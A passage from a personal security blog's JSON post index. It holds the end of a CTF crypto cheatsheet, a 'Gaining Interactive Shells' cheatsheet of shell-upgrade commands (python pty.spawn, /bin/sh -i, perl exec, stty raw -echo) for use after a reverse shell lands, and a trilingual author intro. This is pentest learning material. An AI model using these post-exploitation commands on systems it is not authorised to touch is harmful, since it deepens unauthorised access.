allow XOR analysis.\u003c/li\u003e\n\u003cli\u003eSmall RSA exponents (\u003ccode\u003ee = 3\u003c/code\u003e) can lead to direct root extraction if the plaintext is small.\u003c/li\u003e\n\u003cli\u003eSmall primes allow for easy factorization of RSA moduli.\u003c/li\u003e\n\u003cli\u003ePadding issues in AES frequently lead to oracle-style attacks.\u003c/li\u003e\n\u003cli\u003eImages encrypted with ECB will show visible repeated patterns.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"tools\"\u003eTools\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://gchq.github.io/CyberChef/\"\u003eCyberChef\u003c/a\u003e - versatile tool for conversions, encodings, and ciphers.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.cachesleuth.com/multidecoder/\"\u003eCacheSleuth MultiDecoder\u003c/a\u003e - automated format and cipher detection. Easily my favorite tool.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.dcode.fr/en\"\u003edCode\u003c/a\u003e - classical cipher solvers and crypto utilities.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RsaCtfTool/RsaCtfTool\"\u003eRsaCtfTool\u003c/a\u003e - specialized RSA attack tool.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"core-algorithms\"\u003eCore Algorithms\u003c/h2\u003e\n\u003ch3 id=\"rsa\"\u003eRSA\u003c/h3\u003e\n\u003cp\u003eRSA is an asymmetric encryption algorithm based on modular arithmetic with large primes.\u003c/p\u003e","tags":["cryptanalysis","cheatsheet","ctf"],"title":"Crypto Cheatsheet for CTFs","url":"/posts/crypto-cheatsheet/","wordCount":595},{"content":"\u003cp\u003eOften when uploading a reverse shell on a webserver we are dealing with non-interactive shell. This means it doesn\u0026rsquo;t prompt us for user input or display output in real-time in a traditional terminal window.\u003c/p\u003e\n\u003cp\u003eThe biggest problem with a non-interactive shell is that you can\u0026rsquo;t run \u003ccode\u003esu\u003c/code\u003e or \u003ccode\u003esudo\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eUseful ways to upgrade your shell to an interactive one:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epython \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ec \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;import pty; pty.spawn(\u0026#34;/bin/sh\u0026#34;)\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWhen to use it:\u003c/strong\u003e Almost always the first go-to if Python is available on the target. After spawning, run Ctrl-Z and then stty raw -echo; fg on your local terminal to fully fix arrow keys and job control.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u0026#39;os.system(\u0026#39;/bin/bash\u0026#39;)\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWhen to use it:\u003c/strong\u003e When you can inject Python code but can’t directly execute shell commands.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/bin/sh -i\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eor\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/bin/bash -i\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWhen to use it:\u003c/strong\u003e Works on minimal systems where Python or Perl might not be installed. Note the -i flag forces the terminal to be interactive.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eperl -e \u0026#39;exec \u0026#34;/bin/sh\u0026#34;;\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWhen to use it:\u003c/strong\u003e When Python isn’t available, but Perl is. This takes advantage of Perl’s exec function.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e:!bash\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWhen to use it:\u003c/strong\u003e If you can edit files on the system and Vim is installed. This is often used in “local shell escape” scenarios.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSHELL=/bin/bash script -q /dev/null\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWhen to use it:\u003c/strong\u003e This command is very reliable if \u003ccode\u003escript\u003c/code\u003e is installed. \u003ccode\u003eScript\u003c/code\u003e spawns a fully interactive shell session, which fixes TTY issues\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estty raw -echo \u0026amp;\u0026amp; fg\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWhen to use it:\u003c/strong\u003e This resets your terminal to raw mode and resumes the background shell. You should use it when your shell has been suspended with Ctrl + Z.\u003c/p\u003e\n\u003ch2 id=\"cheatsheet\"\u003eCheatsheet\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eStart by checking available interpreters:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewhich python3 python perl bash sh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eFix terminal controls after an upgrade:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCtrl+Z\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estty raw -echo\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efg\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ereset\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTip:\u003c/strong\u003e Try Ctrl + C, Ctrl + Z, and Tab completion to make sure the shell is fully interactive.\u003c/p\u003e\n\u003c/blockquote\u003e\n","date":"2025-08-26","dateFormatted":"August 26, 2025","excerpt":"Often when uploading a reverse shell on a webserver we are dealing with non-interactive shell. This means it doesn\u0026amp;rsquo;t prompt us for user input or display output in real-time in a traditional …","featured":false,"mood":null,"permalink":"/posts/interactive-shells/","readingTime":2,"slug":"interactive-shells","subtitle":"Cheatsheet for obtaining fully-interactive shells","summary":"\u003cp\u003eOften when uploading a reverse shell on a webserver we are dealing with non-interactive shell. This means it doesn\u0026rsquo;t prompt us for user input or display output in real-time in a traditional terminal window.\u003c/p\u003e\n\u003cp\u003eThe biggest problem with a non-interactive shell is that you can\u0026rsquo;t run \u003ccode\u003esu\u003c/code\u003e or \u003ccode\u003esudo\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eUseful ways to upgrade your shell to an interactive one:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epython \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ec \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;import pty; pty.spawn(\u0026#34;/bin/sh\u0026#34;)\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWhen to use it:\u003c/strong\u003e Almost always the first go-to if Python is available on the target. After spawning, run Ctrl-Z and then stty raw -echo; fg on your local terminal to fully fix arrow keys and job control.\u003c/p\u003e","tags":["linux","cheatsheet","privesc"],"title":"Gaining Interactive Shells","url":"/posts/interactive-shells/","wordCount":305},{"content":"\u003ch3 id=\"中國人\"\u003e中國人\u003c/h3\u003e\n\u003cp\u003e你好！我是一名对网络安全充满热情的人，尤其对渗透测试和道德黑客很感兴趣。我计划在这里记录自己的学习过程，分享在安全、技术和实践方面的心得与体会。希望这个网站能成为我整理经验、总结知识的地方，同时与大家一起在这个领域不断成长。\u003c/p\u003e\n\u003ch3 id=\"русский\"\u003eРусский\u003c/h3\u003e\n\u003cp\u003eПривет! Я человек, увлеченный кибербезопасностью, особенно меня интересуют тестирование на проникновение и этичный хакеринг. Я планирую здесь документировать свой процесс обучения и делиться своими знаниями и наблюдениями в области безопасности, технологий и лучших практик. Надеюсь, что этот сайт станет для меня местом, где можно систематизировать опыт, аккумулировать знания и расти в этой области вместе с другими.\u003c/p\u003e\n\u003ch3 id=\"english\"\u003eEnglish\u003c/h3\u003e\n\u003cp\u003eHello! I’m an individual with a strong interest in cybersecurity. I’m particularly drawn to penetration testing and ethical hacking, and I plan to document my learning journey here. My goal is to explore and share knowledge about security, techniques, and best practices, all in a safe and responsible manner. This website will serve as a place to catalog insights, experiences, and resources as I continue to grow in this field.\u003c/p\u003e\n","date":"2025-08-26","dateFormatted":"August 26, 2025","excerpt":"中國人 你好！我是一名对网络安全充满热情的人，尤其对渗透测试和道德黑客很感兴趣。我计划在这里记录自己的学习过程，分享在安全、技术和实践方面的心得与体会。希望这个网站能成为我整理经验、总结知识的地方，同时与大家一起在这个领域不断成长。 Русский Привет! Я человек, увлеченный кибербезопасностью, особенно меня интересуют …","featured":true,"mood":null,"permalink":"/posts/my-first-post/","readingTime":1,"slug":"my-first-post","subtitle":"简短介绍 - Краткий обзор - A brief overview","summary":"\u003ch3 id=\"中國人\"\u003e中國人\u003c/h3\u003e\n\u003cp\u003e你好！我是一名对网络安全充满热情的人，尤其对渗透测试和道德黑客很感兴趣。我计划在这里记录自己的学习过程，分享在安全、技术和实践方面的心得与体会。希望这个网站能成为我整理经验、总结知识的地方，同时与大家一起在这个领域不断成长。\u003c/p\u003e\n\u003ch3 id=\"русский\"\u003eРусский\u003c/h3\u003e\n\u003cp\u003eПривет! Я человек, увлеченный кибербезопасностью, особенно меня интересуют тестирование на проникновение и этичный хакеринг. Я планирую здесь документировать свой процесс обучения и делиться своими знаниями и наблюдениями в области безопасности, технологий и лучших практик. Надеюсь, что этот сайт станет для меня местом, где можно систематизировать опыт, аккумулировать знания и расти в этой области вместе с другими.\u003c/p\u003e\n\u003ch3 id=\"english\"\u003eEnglish\u003c/h3\u003e\n\u003cp\u003eHello! I’m an individual with a strong interest in cybersecurity. I’m particularly drawn to penetration testing and ethical hacking, and I plan to document my learning journey here. My goal is to explore and share knowledge about security, techniques, and best practices, all in a safe and responsible manner. This website will serve as a place to catalog insights, experiences, and resources as I continue to grow in this field.\u003c/p\u003e","tags":null,"title":"Whoami","url":"/posts/my-first-post/","wordCount":130}]